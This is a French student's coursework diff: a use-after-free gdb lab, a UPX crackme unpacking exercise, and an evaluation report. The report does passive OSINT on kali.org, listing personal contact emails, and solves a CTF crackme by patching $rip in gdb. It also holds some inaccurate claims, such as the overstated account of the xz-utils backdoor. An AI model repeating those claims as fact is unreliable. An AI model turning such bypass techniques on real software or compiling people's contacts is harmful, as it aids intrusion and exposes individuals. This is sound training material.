+(gdb) print ptr +$1 = 0x7ffff7fe5990 "Uf\017\357\300H\211\345AWAVAUI\211\315ATI\211\374SH\201\354x\002" +(gdb) x/1s ptr +0x7ffff7fe5990 : "Uf\017\357\300H\211\345AWAVAUI\211\315ATI\211\374SH\201\354x\002" +(gdb) next +7 in uaf_demo.c +(gdb) print ptr +$2 = 0x555555559310 "" +(gdb) x/1s ptr +0x555555559310: "" +(gdb) next +8 in uaf_demo.c +(gdb) print ptr +$3 = 0x555555559310 "donnees sensibles" +(gdb) x/1s ptr +0x555555559310: "donnees sensibles" +(gdb) x/10x ptr +0x555555559310: 0x64 0x6f 0x6e 0x6e 0x65 0x65 0x73 0x20 +0x555555559318: 0x73 0x65 +(gdb) next +Avant free : donnees sensibles +9 in uaf_demo.c +(gdb) print ptr +$4 = 0x555555559310 "donnees sensibles" +(gdb) x/1s ptr +0x555555559310: "donnees sensibles" +(gdb) next +11 in uaf_demo.c +(gdb) print ptr +$5 = 0x555555559310 "YUUU\005" +(gdb) x/1s ptr +0x555555559310: "YUUU\005" +(gdb) x/10x ptr +0x555555559310: 0x59 0x55 0x55 0x55 0x05 0x00 0x00 0x00 +0x555555559318: 0x8c 0xcb +(gdb) continue +Continuing. +Apres free : YUUU +Apres reutilisation : ecrasement UAF +[Inferior 1 (process 1979) exited normally] +(gdb) quit +``` + +### Questions + +1. Pourquoi la ligne "Après free" affiche-t-elle encore les données ? Est-ce garanti ? + - Ligne 11, après le `free`, j'ai fait un `print ptr` et l'adresse n'avait pas changé. Le pointeur n'a PAS été effacé. En faisant un `x/10x ptr` on a surtout vu des données devenues YUUU etc. `free()` ne nettoie pas la mémoire pour gagner sur les perfs, et marque la zone comme disponible. Alors la librairie C la réutilise. Mais ce n'est pas garanti, c'est indéterminé. Au p'tit bonheur la chance. +2. Quelle bonne pratique évite ce bug ? (ptr = NULL après free) + - On force le pointeur à NULL après `free(prt)`. Si on avait voulu faire un `print ptr` le segment aurait été vide. +3. Valgrind signale-t-il une erreur sur la lecture ou l'écriture, ou les deux ? + - `Invalid read of size 1` => lors du `strlen` juste après le `free` + - `Invalid write of size 8` => lors du `strcpy` + - Donc les deux +4. Dans quel type de programme réel ce pattern est-il le plus dangereux ? + - Les navigateurs internet pour corrompre de la mémoire et lancer des programmes à distance + - Les noyaux d'OS (corruption, élévation de privilèges, etc) + - Les services sur réseau (FTP/SMB, Chiffreurs...) pour divulguer des secrets + +## crackme_packed + +```bash +$ file crackme_packed +crackme_packed: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header + +$ objdump -f crackme_packed + +crackme_packed: file format elf64-x86-64 +architecture: i386:x86-64, flags 0x00000102: +EXEC_P, D_PAGED +start address 0x00000000004056d8 + +$ objdump -d crackme_packed + +crackme_packed: file format elf64-x86-64 + +$ strings crackme_packed | head -20 +UPX! +'@6!O +e-!x7 +,!O\ + />@ +/lib64 +nux-x86- +.so.2G +puts +c_start_ma +rcmp +6GLIBC_2 +;34@gmon_V +i e0 +PTE1 +H=(@@ +Usage: %s +3v3rs3_M3 +Bien joue ! F +LAG 3CTF{cl34n_cr4ckm3} + +hexdump -C crackme_packed | grep -b "UPX!" +1029:000000e0 10 00 00 00 00 00 00 00 b4 fd 70 eb 55 50 58 21 |..........p.UPX!| +14380:00000b70 81 fe 55 50 58 21 75 11 2f 7d 00 30 b5 26 eb 04 |..UPX!u./}.0.&..| +29232:00001730 ff 00 00 00 00 55 50 58 21 00 00 00 00 00 00 00 |.....UPX!.......| +29311:00001740 55 50 58 21 0e 16 02 08 04 f6 53 57 3d c8 02 68 |UPX!......SW=..h| +``` + +```bash +$ upx -d crackme_packed -o crackme_unpacked + Ultimate Packer for eXecutables + Copyright (C) 1996 - 2024 +UPX 4.2.4 Markus Oberhumer, Laszlo Molnar & John Reiser May 9th 2024 + + File size Ratio Format Name + -------------------- ------ ----------- ----------- + 25451 <- 5988 23.53% linux/amd64 crackme_unpacked + +Unpacked 1 file. +``` + +```bash +$ file crackme_unpacked +crackme_unpacked: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=52cf967f660a06f4e0f0cd0bee921df5987f6d86, for GNU/Linux 3.2.0, not stripped + +$ objdump -f crackme_unpacked + +crackme_unpacked: file format elf64-x86-64 +architecture: i386:x86-64, flags 0x00000112: +EXEC_P, HAS_SYMS, D_PAGED +start address 0x0000000000401060 + +$ objdump -d crackme_unpacked | grep ">:" +0000000000401000 <_init>: +0000000000401020 : +0000000000401030 : +0000000000401040 : +0000000000401050 : +0000000000401060 <_start>: +0000000000401090 <_dl_relocate_static_pie>: +00000000004010a0 : +00000000004010d0 : +0000000000401110 <__do_global_dtors_aux>: +0000000000401140 : +0000000000401146
: +00000000004011c8 <_fini>: +``` + +### Questions + +1. Que retourne strings sur le binaire packed avant unpacking ? Après ? + - Avant : Empaqueté, le binaire chiffre/compresse le binaire, et rend les chaînes de caractères illisibles. Le fait de voir "UPX!" au début du binaire semble étrange. Et qu'il laisse passer "3CTF{cl34n_cr4chm3}" encore plus. + - Après : "UPX!" a disparu (normal) et tout est récupérable en clair. +2. Où se trouve la signature UPX dans le fichier (offset hexa) ? + - Première ligne, en en-tête. Je vois que ça correspond à un offset standard, de 0x3c à 0x40, correspond à `p_info`. Ici c'était 0xe0 +3. Si le packer était personnalisé (sans signature connue), comment détecteriez-vous la compression ? + - En utilisant un empaqueteur anonyme ou maison... j'ai dû me renseigner sur les comportements structurels : + - L'analyse du niveau d'entropie, 5 ou 6 sur un binaire "normal", plutôt 8 sur un binaire compressé + - Absences ou anomalies dans les sections + - Un nombre anormalement faible de fonctions (il faut quand même une certaine base pour qu'un binaire fonctionne) + - La différence de poids entre le fichier binaire et la place tenue dans le poule mémoire (donc sa "vraie" taille une fois décompressée) +4. Quel intérêt pour un malware d'utiliser un packer ? Quelles limites ? + - Echapper à la détection statique, au profit d'une dynamique (il faut lancer le programme pour alerter le système) + - Ralentir l'ingénierie inversée + - Néanmoins, les antivirus modernes sont pas stupides, ils bloquent les instructions mémoire à bas niveau, et utiliser un empaqueteur générique comme UPX ne trompera aucun antivirus ni aucun EDR énervé. Et le comportement d'exécution restera identique, les antivirus se basent là-dessus surtout \ No newline at end of file diff --git a/Semaine_10/Jour_04/binaires non compilé.zip b/Semaine_10/Jour_04/binaires non compilé.zip new file mode 100644 index 0000000..7c6609d Binary files /dev/null and b/Semaine_10/Jour_04/binaires non compilé.zip differ diff --git a/Semaine_10/Jour_04/crackme_clean b/Semaine_10/Jour_04/crackme_clean new file mode 100644 index 0000000..fabffac Binary files /dev/null and b/Semaine_10/Jour_04/crackme_clean differ diff --git a/Semaine_10/Jour_04/crackme_packed b/Semaine_10/Jour_04/crackme_packed new file mode 100644 index 0000000..4ac0c5b Binary files /dev/null and b/Semaine_10/Jour_04/crackme_packed differ diff --git a/Semaine_10/Jour_04/sample_malware b/Semaine_10/Jour_04/sample_malware new file mode 100644 index 0000000..bb3eb4a Binary files /dev/null and b/Semaine_10/Jour_04/sample_malware differ diff --git a/Semaine_10/Jour_04/uaf_demo b/Semaine_10/Jour_04/uaf_demo new file mode 100644 index 0000000..16fdccb Binary files /dev/null and b/Semaine_10/Jour_04/uaf_demo differ diff --git a/Semaine_10/Jour_04/vuln_stack b/Semaine_10/Jour_04/vuln_stack new file mode 100644 index 0000000..6775df0 Binary files /dev/null and b/Semaine_10/Jour_04/vuln_stack differ diff --git a/Semaine_10/Jour_05/Evaluation_BOICHE_Gauvain.md b/Semaine_10/Jour_05/Evaluation_BOICHE_Gauvain.md new file mode 100644 index 0000000..88eaa04 --- /dev/null +++ b/Semaine_10/Jour_05/Evaluation_BOICHE_Gauvain.md @@ -0,0 +1,381 @@ +# Evaluation **Facile** - Florian POMPIDOU + +A la demande du client, il a été demandé d'employer diverses méthodes d'analyse sur : + +- Un domaine public `kali.org` par des moyens *passifs* (aucun scan actif n'est autorisé, faute d'accord avec la structure ciblée) +- Des actifs numériques sous forme de binaires + +## 1. OSINT + +### A. Reconnaissance + +#### a. Analyse des sous-domaines + +Pour l'analyse des sous-domaines, en l'absence d'accès à l'API de CRT.SH, j'ai utilisé l'outil [`DNSDumpster`](https://dnsdumpster.com). Celui-ci affiche le contenu complet d'un WHOIS classique, mais mis en cache par plusieurs retours perpétuels sur le temps long, et donne un rendu sous forme de graphique pour montrer les interconnexions, en plus de proposer un export en .xlsx pour étude hors-ligne. Une conversion en .csv est jointe au rapport présent. + +![alt-text](kali.org-566f749b-07b1-4c1d-8251-1563486b7a23.png) + +Le domaine `kali.org` fait ainsi état de 84 enregistrements DNS, répartis sommairement comme suit : + +| Top 5 Banners | | +| -------------------------------------- | ---------------------------------- | +| Name | Count | +| cloudflare | 60 | +| nginx | 26 | +| SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7 | 16 | + +| Top 5 ASN | | | | +| -------------------------------------- | ---------------------------------- | ---------------- | ------------- | +| ASN | ASN Name | Network Range | Count | +| 13335 | CLOUDFLARENET - Cloudflare, Inc. | 172.64.32.0/24 | 30 | +| 16276 | OVH - OVH SAS, FR | 51.222.0.0/16 | 12 | +| 3701 | LINK-OREGON - University of Oregon | 140.211.0.0/16 | 5 | +| 15169 | GOOGLE - Google LLC | 192.178.155.0/24 | 5 | +| 14618 | AMAZON-AES - Amazon.com, Inc. | 3.208.0.0/12 | 2 | + +| Top 5 Countries | | +| -------------------------------------- | ---------------------------------- | +| Name | Count | +| United States | 15 | +| Canada | 10 | +| France | 2 | + +#### b. Analyse de relations + +A l'aide de l'outil `Maltego`, nous pouvons établir une suite de relations en partant du domaine racine. + +On peut voir à l'origine de `kali.org` une suite de sous-domaines actifs et contactables, ainsi que quelques adresses courriel menant à des individus depuis un domaine `@mailbox.org`. + +(*Les crédits ont manqué à ce moment-là, si j'ai le temps de refaire un compte je poursuivrai, sinon j'ai la méthode.*) + +#### c. Analyse d'infrastructure technique + +Pour analyser la surface d'attaque probable de façon passive, nous pouvons utiliser `Censys` et filtrer : + +1. `kali.org` => Avec le nom de domaine (résultats peu fiables, filtre aussi les serveurs qui utilisent la tech/le nom ou sont fans mais ne sont pas en liens) +2. `web.cert.names = kali.org` => Avec le dispensaire de certificats de noms de domaine (plus fiable, émane vraiment de lui et trouve les liens filiaux, mais pour peu que le serveur d'émission soit autre, il faut d'abord le trouver) +3. `(kali.org) and (web.cert.names = kali.org) and (host.services.vulns.id: * or web.vulns.id: *)` => Requête avancée, permettant de ne trier QUE les services avec des CVEs récoltées. Efficace pour qui veut prévenir les services de ces vulnérabilités, mais on peut se douter que les webmaîtres de chez Kali seront des cordonniers bien chaussés. De plus, cette requête demande un abonnement payant. + +Prenant un résultat sur la deuxième requête : + +![alt text](image-1.png) + +Le premier lien [bugs.kali.org](https://platform.censys.io/web/bugs.kali.org:443?at_time=2026-06-12T08%3A59%3A50.579922313Z) nous donne diverses informations : + +- L'état du certificat TLS (empreinte, émission, émetteur, région, domaines couverts, validité, etc) +- Ports ouverts (ici, 443, HTTPS) +- Service actif (Cloudflare WAF, Web Application Firewall, donc un pare-feu actif servant de point d'entrée [à cheval entre pare-feu et répartiteur de charge]) +- [Toutes les infos de la page d'entrée](https://platform.censys.io/web/bugs.kali.org:443/data/table?at_time=2026-06-12T08%3A59%3A50.579922313Z) + +Pas de CVEs exposées, l'analyse peut s'arrêter là sur ce cas. + +#### d. BONUS - Rapport technique centralisé + +En outil complémentaire à `Censys` et `Maltego`, j'ai fait le choix d'utiliser [`BuiltWith`](https://builtwith.com/kali.org), reprenant sous forme d'onglets les différents éléments précédemment vus, même si avec une moindre portée technique, mais également avec quelques éléments supplémentaires : + +1. Les technologies de base utilisées sur le site, widgets, langue d'affichage, frameworks, CDN, librairies JavaScript, prestataire de courriels, hébergeurs, certificats SSL, fichiers robots.txt, etc. +2. [La synthèse des traqueurs et analyseurs présents sur le serveur](https://builtwith.com/detailed/kali.org), comme CloudFlare insights, Google Analytics jusqu'en 2020, ou d'autres traqueurs passifs/actifs. Le choix de non-renouvellement de certaines technologies (Google Analytics) et le choix des analyseurs actuels (CloudFlare uniquement) permet de renseigner sur le profil politique de l'organisation, qui boude les outils de surveillance publicitaire, information qui peut se révéler pertinente selon le contexte étudié. +3. [Les hyperliens de sortie](https://builtwith.com/relationships/kali.org) montrant une relation directe sur les sites `exploit-db.com`, `backtrack-linux.org`, `spamtool.net`, `getspamtool.com` et `lynigma.com` permet d'établir un profil collaboratif autour du système Linux, avec l'écosystème de cybersécurité cadre "EXPLOITS", et autres partenariats (commerciaux ?) avec des outils tiers de protection. +4. [Les redirections présentes](https://builtwith.com/redirects/kali.org) permettant d'étendre un peu la "galaxie" Kali-Linux, avec des domaines comme `kali.me`, `kali.us.org`, `kali.ninja`, `kali-linux.org` ou `nethunter.com`. Redirections permanentes motivées possiblement par l'envie de ne pas voir de domaine pirate homonyme rediriger des gens honnêtes vers des outils vérolés (possiblement certains domaines sont même des domaines saisis) ou des domaines historiques sur lesquels découvrir de nouvelles étendues (API, serveurs de fichiers, etc) + +#### Finalités + +| Catégorie | Eléments trouvés | Outil utilisé | Observations | +| :--- | :--- | :--- | :--- | +| Domaine | kali.org | DNSDumpster | RAS | +| Sous-domaines | 10year.kali.org - aeacus.kali.org - aphrodite.kali.org - archive.kali.org - archive-4.kali.org - arm.kali.org - artemis.kali.org - artifacts.kali.org - atlas.kali.org - atropos.kali.org - autopkgtest.kali.org - bittorrent.kali.org - bugs.kali.org - buildd-amd64.kali.org - buildd-arm.kali.org - buildd-arm64.kali.org - buildd-armhf.kali.org - buildd-i386.kali.org - cdimage.kali.org - clio.kali.org - coeus.kali.org - crius.kali.org - cronos.kali.org - demeter.kali.org - dionysus.kali.org - discord.kali.org - docs.kali.org - ar.docs.kali.org - br.docs.kali.org - cn.docs.kali.org - de.docs.kali.org - en.docs.kali.org - es.docs.kali.org - fr.docs.kali.org - he.docs.kali.org - id.docs.kali.org - it.docs.kali.org - ja.docs.kali.org - nl.docs.kali.org - ru.docs.kali.org - www.docs.kali.org - downloads.kali.org - dzaa.kali.org - epimetheus.kali.org - erato.kali.org - forums.kali.org - gaia.kali.org - git.kali.org - hecate.kali.org - helios.kali.org | DNSDumpster Maltego | RAS | +| Adresses IP | 51.222.80.5 - 148.113.211.220 - 176.31.228.102 - 35.185.44.232 - 3.222.23.60 - 104.18.5.159 - 54.39.17.132 - 51.79.80.98 - 144.217.75.200 - 140.211.11.42 - 140.211.11.37 - 54.39.128.230 - 172.104.29.198 - 140.211.169.59 - 45.33.71.210 - 15.235.87.209 - 104.18.4.159 - 51.222.241.236 - | DNSDumpster Meltago | RAS | +| Services exposés | HTTPS | Censys.io | Il s'agit de Kali géré par OffSec. Je ne pense pas être en mesure de trouver plus que ce qu'ils veulent que je vois. | +| Courriel de contact | magamabazarov@mailbox.org mahamabazarov@mailbox.org | Maltego | Gérant d'un paquet intégré à la suite : [https://github.com/caster0x00/Nihilist/releases](GitHub) [https://gitlab.com/kalilinux/packages/sara](GitLab) | +| Fichiers exposés | X | X | (Crédits insuffisants) | + +### B. Trouvailles + +(*On parle de kali.org, géré par OffSec. C'est la suite de hacking la plus connue du monde. Je ne pense PAS avoir de quoi trouver la moindre chose à mon niveau, et si une faille s'ouvrait, leur BugBounty s'illuminerait comme un sapin de Noël un soir d'assaut lors d'une guerre de tranchées. J'ai donc trouvé des failles historiques mais patchées depuis pour répondre à la question.*) + +#### MantisBT sur bugs.kali.org + +MantisBT est un service de gestion des tickets. + +- `Description `: Une faille dans l'authentification liée à du *Type Juggling* en PHP (usage de comparaisons `==` au lieu de `===`) permet à un attaquant de se connecter au compte admin à partir de son hash MD5 +- `Source/Preuve `: [CVE-2025-47776](https://app.opencve.io/cve/CVE-2025-47776) +- `Criticité `: 91/100 (Critique) +- `Impact Potentiel `: Connexion au compte admin MantisBT sans mot de passe. + +------------------------------------------- + +- `Description `: Faille de déni de service liée à une taille illimitée des notes attachées dans les tickets (+ de 4 millions de caractères) capables de corrompre l'affichage de l'histoire du ticket, et le rend inopérant +- `Source/Preuve `: [CVE-2025-46556](https://app.opencve.io/cve/CVE-2025-46556) +- `Criticité `: 75/100 (Elevé) +- `Impact Potentiel `: Rend des tickets inopérants, mais pas d'impact global. + +#### Discourse sur forums.kali.org + +Discourse est un service de forum/plateforme de discussion basé sur Ruby. + +- `Description `: Faille de divulgation des fichiers de sauvegarde liée à une mauvaise intercation entre la directive interne de NGinx et une fonction de Ruby. En devinant le nom du fichier de sauvegarde (qui suit une structure de base), on peut tromper le serveur et télécharger le dump complet de la base de données du forum. +- `Source/Preuve `: [CVE-2024-53991](https://app.opencve.io/cve/CVE-2024-53991) +- `Criticité `: 75/100 (Elevé) +- `Impact Potentiel `: Intégralité de la base de données (incluant forums secrets/admins et messages privés [si disponibles], hash de mots de passe, adresses courriels, adresses IP, etc) fuitée. + +#### Paquets sur pkg.kali.org + +Porte dérobée `xz-utils` découverte par l'ingénieur PHP sur base d'une requête ayant pris 500ms de trop pour lui. + +- `Description `: La porte dérobée de `xz-utils` a frappé la branche `Kali Rolling`, gestionnaire des paquets de la distribution. Autrement dit, tout paquet téléchargé depuis cette branche était compromis, et chaque système était vérolé. +- `Source/Preuve `: [CVE-2024-3094](https://app.opencve.io/cve/CVE-2024-3094) +- `Criticité `: 100/100 (Maximal) +- `Impact Potentiel `: Tous les systèmes ayant téléchargé un paquet de la branche `Rolling` sont considérés comme pénétrables par une porte dérobée. Impact global et majeur. + +Cette affaire a été à l'origine de plusieurs prises de conscience : + +- les paquets librement maintenus peuvent être repris par des acteurs malveillants faute d'incitation à une maintenance soutenue de leur créateur +- des dépendances de dépendances de dépendances sont une faille de sécurité obfusquée à haute dangerosité +- tout le monde peut passer à côté, même les plus experts + +Les équipes de Kali ont réagi en révoquant les signatures des paquets et en purgeant les dépôts. + +### C. Recommendations + +| ## | Recommendation | Trouvaille associée | Priorité | +| :- | :--- | :--- | :--- | +| 01 | Mise à jour de version | MantisBT | Haute | +| 02 | Sauvegarde externe avec nom de fichier aléatoire | Discourse | Moyenne | +| 03 | Purge des dépôts | xz-utils | Très haute | +| 04 | Signatures diversifiées pour chaque paquet | xz-utils | Moyenne | + +## 2. Ingénierie Inversée + +Le client nous demande d'étudier le fichier `crackme_3`, avec décompilation et ingénierie inversée. + +### Profil du fichier + +Tout d'abord, les métadonnées classiques sont extraites : + +```bash +$ file crackme_3 +crackme_3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=45939497a0b02f28b8cc23629acfbc2e39ca2072, for GNU/Linux 3.2.0, not stripped + +$ strings crackme_3 | head -16 + r/lib64/ld-linux-x86-64.so.2 +strcpy +puts +__libc_start_main +stderr +fprintf +strcmp +libc.so.6 +GLIBC_2.2.5 +GLIBC_2.34 +__gmon_start__ +PTE1 +H=0@@ +Usage: %s +[-] Acces refuse. +[+] Acces accorde ! Flag : CTF{ESDI_R3v3rs3_2026} +``` + +J'utilise également un duo de commande avec `objdump` pour obtenir quelques informations, comme les fonctions en cas de binaire non empaqueté : + +```bash +$ objdump -f crackme_3 + +crackme_3: file format elf64-x86-64 +architecture: i386:x86-64, flags 0x00000112: +EXEC_P, HAS_SYMS, D_PAGED +start address 0x0000000000401080 + +$ objdump -d crackme_3 | grep ">:" +0000000000401000 <_init>: +0000000000401020 : +0000000000401030 : +0000000000401040 : +0000000000401050 : +0000000000401060 : +0000000000401080 <_start>: +00000000004010b0 <_dl_relocate_static_pie>: +00000000004010c0 : +00000000004010f0 : +0000000000401130 <__do_global_dtors_aux>: +0000000000401160 : +0000000000401180
: +000000000040123c <_fini>: +``` + +Et une dernière passe avec `checksec` : + +```bash +$ checksec --file=crackme_3 +RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified FortifiableFILE +Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 39 Symbols No 0 2 crackme_3 +``` + +Ce que cela nous apprend : + +- Exécutable ELF 64bit, architecture moderne +- Non épuré, donc avec le noms des fonctions, variables et symboles d'origine (plus facile à décompiler) +- + +### A. GHIDRA + +Je créé un nouveau projet dans `Ghidra` et j'importe le fichier selon les infos recueillies plus tôt (détectées nativement) : + +![alt text](image-2.png) + +J'analyse le programme, j'utilise l'outil "Code Analyzer" et j'en extraies les données essentielles, notamment les fonctions : + +![alt text](image-3.png) + +Une rapide cartographie nous permet d'établir ceci : + +| Nom de la fonction | Adresse | Rôle | +| :--- | :--- | :--- | +| deregister_tm_clones | 0x4010c0 | (fonction d'usine) | +| register_tm_clones | 0x4010f0 | (fonction d'usine) | +| frame_dummy | 0x401160 | (fonction d'usine) | +| main | 0x401180 | Fonction principale, coeur du code | +| FUN_00401020 (non réel inconnu) | 0x401202 (d'où le nom) | Fonction secondaire, nécessaire à main(). Une étude plus approfondie apprend qu'il s'agit d'une fonction PLT (Procedure Linkage Table), dites "chef de gare" | + +#### main() + +Etendue de 0x401180 à 0x401236. + +- Ligne 0x401188 : JZ (JUMP ZERO) => Saute si le résultat d'un précédent CMP (COMPARE) ou TEST est égal à 0. Ici donc, il évalue un argument == 2 pour poursuivre le programme, sinon il saute sur un stderr, met une valeur EBX (code d'erreur) à 1 et RET (quitte le programme) +- Ligne 0x4011b2 : Si l'argument est présent, on récupère l'argument et on le stocke dans la RSI. On met le RAX à 0 pour server de compteur à une boucle (i = 0) avant de charger une variable `enc.0` chiffrée. +- Ligne 0x4011e0 : Prend le RAX (i = n) comme index de la chaîne chiffrée `enc.0`, applique un XOR avec la clef 0x42 pour déchiffrer, stocke le caractère en clair sur la pile RSP, incrémente le RAX (i++) et recommence si le RAX n'a pas atteint 0xf (i = 15) => La boucle prend une chaîne de 15 octets cachée dans le binaire, applique un XOR sur chaque octet avec 0x42, et reconstruit le vrai mot de passe attendu dans la variable `local_38` +- Ligne 0x401201 : CALL (APPEL) la `strcpy`, autrement dit notre argument du programme et la stocke de la RSI vers la RSP +- Ligne 0x40120c : CALL la `strcmp`, donc une comparaison de *string* entre `local_38` et le mot de passe interne +- Ligne 0x401213 : Les deux chaînes sont identiques ? Renvoi de 0, le JZ est valide et affiche la victoire. Les deux chaînes diffèrent ? Pas de JUMP ZERO, on affiche l'accès refusé avec PUTS et on saute à la fin. + +#### Vulnérabilité principale, MEMORY CORRUPTION + +- La pile offrant une comparaison entre la chaîne passée en argument et la chaîne déchiffrée du mot de passe se joue avec un `strcpy`, avec une étape intermédiaire de comparaison renvoyant une valeur (0 ou non) pour "valider" que la chaîne correspond ou non, avant de sauter vers le résultat final. +- Cependant, avec un `break` au bon endroit, on peut définir un résultat et sauter à l'endroit souhaité en modifiant ce qu'on fait écrire à la fonction quand le résultat est reçu par les pointeurs. +- En bref : nous entrant une donnée externe non validée pour sauter les "sécurités" en place en modifiant le RIP (Register Instruction Pointer) + +#### Vulnérabilité secondaire, BUFFER OVERFLOW + +Le `checksec` a mis en évidence un manque de STACK CANARY. De fait, le code est vulnérable aux coups de grisou : + +- La méthode `strcopy` est un code historique qui copie une chaîne de caractères jusqu'à y trouver un octet nul, sans vérifier la possibilité que l'espace soit un temps soit peu suffisamment large pour accueillir la chaîne en argument. +- Prenant la fonction `main()`, `SUB RSP, 0x30` signale un espace alloué de 48 octets sur la pile pour les variables locales +- Toujours dans `main()`, `local_28` est le buffer qui commence à l'offset déclaré `[RSP + 0x10]`, donc 16 octets plus bas que la pile RSP. +- Avec une taille allouée de 48 octets et un début de buffer 16 octets avant la fin de la pile, on a 32 octets pour stocker le mot de passe dans local_28 avant de déborder de l'espace alloué et renvoyer un SIGSEV. + +### B. GDB + +#### Trouver le mot de passe caché + +```bash +$ chmod +x crackme_3 + +$ gdb -q ./crackme_3 +Reading symbols from ./crackme_3... +(No debugging symbols found in ./crackme_3) +(gdb) info functions +All defined functions: + +Non-debugging symbols: +0x0000000000401000 _init +0x0000000000401030 strcpy@plt +0x0000000000401040 puts@plt +0x0000000000401050 strcmp@plt +0x0000000000401060 fprintf@plt +0x0000000000401080 _start +0x00000000004010b0 _dl_relocate_static_pie +0x00000000004010c0 deregister_tm_clones +0x00000000004010f0 register_tm_clones +0x0000000000401130 __do_global_dtors_aux +0x0000000000401160 frame_dummy +0x0000000000401180 main +0x000000000040123c _fini +(gdb) run Albathar +Starting program: /home/kali/EVALUATION/crackme_3 Albathar +[Thread debugging using libthread_db enabled] +Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1". +[-] Acces refuse. +[Inferior 1 (process 38985) exited with code 01] +(gdb) break *0x00401215 +Breakpoint 1 at 0x401215 +(gdb) run Albathar +Starting program: /home/kali/EVALUATION/crackme_3 Albathar +[Thread debugging using libthread_db enabled] +Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1". + +Breakpoint 1, 0x0000000000401215 in main () +(gdb) set $rip = 0x0040122a +(gdb) continue +Continuing. +[+] Acces accorde ! Flag : CTF{ESDI_R3v3rs3_2026} +[Inferior 1 (process 39225) exited with code 0374] +``` + +Pour expliquer mon raisonnement : + +```c +0x0000000000401215 <+149>: je 0x40122a +``` + +1. Nous mettons un break sur l'adresse du dessus où un JUMP EQUAL avec s'effectuer en cas de mauvais mot de passe +2. Nous venons d'exécuter le `strcmp` qui compare mon argument et la chaîne attendue. Le résultat est négatif, évidemment. Le JUMP ZERO va marcher et sauter à "[-] Accès refusé". +3. Le BREAK arrête la lecture du programme, et on déplace la tête de lecture du processeur (l'endroit où il pointe, comme une tête de lecteur sur un sillon de vinyle) +4. En changeant la valeur du RIP, on a "attrapé" la tête de lecture du processeur, et on le fait pointer non plus vers le JUMP ZERO mais sur l'adresse de fin. On déplace de force la tête de lecture du vinyle pour passer au morceau final. +5. Le message de victoire s'affiche. + +En bref, on saute le JUMP ZERO, on contourne toute la suite logique du programme pour atterir à la fin, située ici : + +```c +0x000000000040122a <+170>: lea 0xdff(%rip),%rdi # 0x402030 +``` + +Ainsi le mot de passe est récupéré sans avoir besoin de relever de flag ni de faire de force brute : `ESDI_R3v3rs3_2026` + +![alt text](image-4.png) + +## 3. Synthèse + +### A. Rapport de synthèse + +A la demande du client, nous avons mené deux missions conjointes sur : + +1. Le domaine public kali.org + => Les rapports préliminaires permettent d'établir que l'environnement web de Kali est de Kalité. Aucun service n'est exposé sauf justification, les CVEs sont patchées rapidement, les équipes sont fiables et répondent vite aux problèmes exposés dans leur programme de BugBounty. +2. L'étude d'un binaire suspect + => Le binaire est un classique des programmes CTF, avec deux vulnérabilités détectées dans l'usage de méthodes historiques non-sécurisées et d'une possibilité de corruption de mémoire pour obtenir une validation finale. + +### B. Complémentarité OSINT / RE + +> Dans une vraie mission de pentest, comment les informations OSINT collectées en Partie 1 pourraient-elles guider l'analyse RE de la Partie 2 ? +> Citez un exemple concret où l'OSINT aurait permis de cibler directement une vulnérabilité RE. + +Nous abordons deux méthodologies et finalités qui diffèrent, et sont donc potentiellement complémentaires : +- L'OSINT fournit un **contexte** +- L'ingénierie inversée fournit un **mécanisme** + +- Un outil comme `Censys` détecte des services, des systèmes d'exploitation, des compilateurs éventuellement, des versions. **Un ingénieur décompilateur peut définir un environnement de décompilation taillé sur mesure**. +- `Censys` toujours renseigne sur les produits utilisés (VPN, WAF, firmware IoT, etc), aussi peut-on **rechercher les binaires d'origine des firmwares pour les étudier à froid et en trouver des failles**. +- Utiliser `Maltego` ou du `dorking` permet de profiler un codeur précis sur une infrastructure précise, et avec, en tirer **des conclusions sur les langages utilisés, les empaqueteurs ou les librairies, ou même carrément les erreurs du passé**. + +Imaginons un cas concret : + +1. Un service sur le port 28576 est exposé sur un serveur trouvé par `Censys`, je vais sur le port et je trouve une page de connexion d'un vieux routeur `TP-Link` ou `Cisco` ou `Netgear` +2. Je fouille sur des forums ou sur la page "téléchargements" du site constructeur le binaire qui correcpond à la version affichée sur le portail, mettons 3.6.1 (alors que la dernière version est 4.5.7) +3. Je décomplie le binaire avec GHIDRA, je cherches et trouves une méthode `strcpy` + +Je sais maintenant comment faire planter le service. Pire encore : je peux déplacer un RIP et aller sur le panneau admin. + +### C. Respect du cadre légal + +> 1. Quelle loi encadre l'accès frauduleux à un système informatique en France ? Citez l'article. +> 2. Dans votre reconnaissance OSINT de la Partie 1, avez-vous respecté les limites légales ? Justifiez. +> 3. Un binaire trouvé sur un serveur compromis peut-il être analysé légalement ? Dans quel contexte ? + +1. [Loi Godfrain](https://www.lexbase.fr/texte-de-loi/loi-n-8819-05011988-relative-a-la-fraude-informatique/L2291HUE.html) (*[le lien LEGIFRANCE ne pointe sur rien](https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000000875419)*) +2. Oui. Je n'ai effectué aucun test moi-même, depuis ma machine, sur la "cible". Je n'ai fait que relever des rapports établis par des outils de cartographie, sans lire de raports actifs/agressifs non plus (pas de NMAP rapporté ni équivalent). +3. Ca dépend. + - Ai-je le droit d'être sur ce serveur ? + - Non : conséquemment, non. + - Oui : + - Le binaire a t-il une signature numérique d'un éditeur (re)connu ? + - Non : Il s'agit certainement d'un outil d'attaque et on peut l'analyser librement. Les circonstances joueront en notre faveur en cas de désaccord légal. + - Oui : On peut l'analyser de façon encadrée par le Code de la Propriété Intellectuelle. Par défaut, décompiler un logiciel propriétaire est interdit, **SAUF** si l'éditeur ne met plus à jour son binaire (exception de **sécurité**). > [Resource utile](https://www.ddg.fr/actualite/decompiler-un-logiciel-enseignements-recents-la-jurisprudence-communautaire) < \ No newline at end of file diff --git a/Semaine_10/Jour_05/Evaluation_BOICHE_Gauvain.pdf b/Semaine_10/Jour_05/Evaluation_BOICHE_Gauvain.pdf new file mode 100644 index 0000000..5040360 Binary files /dev/null and 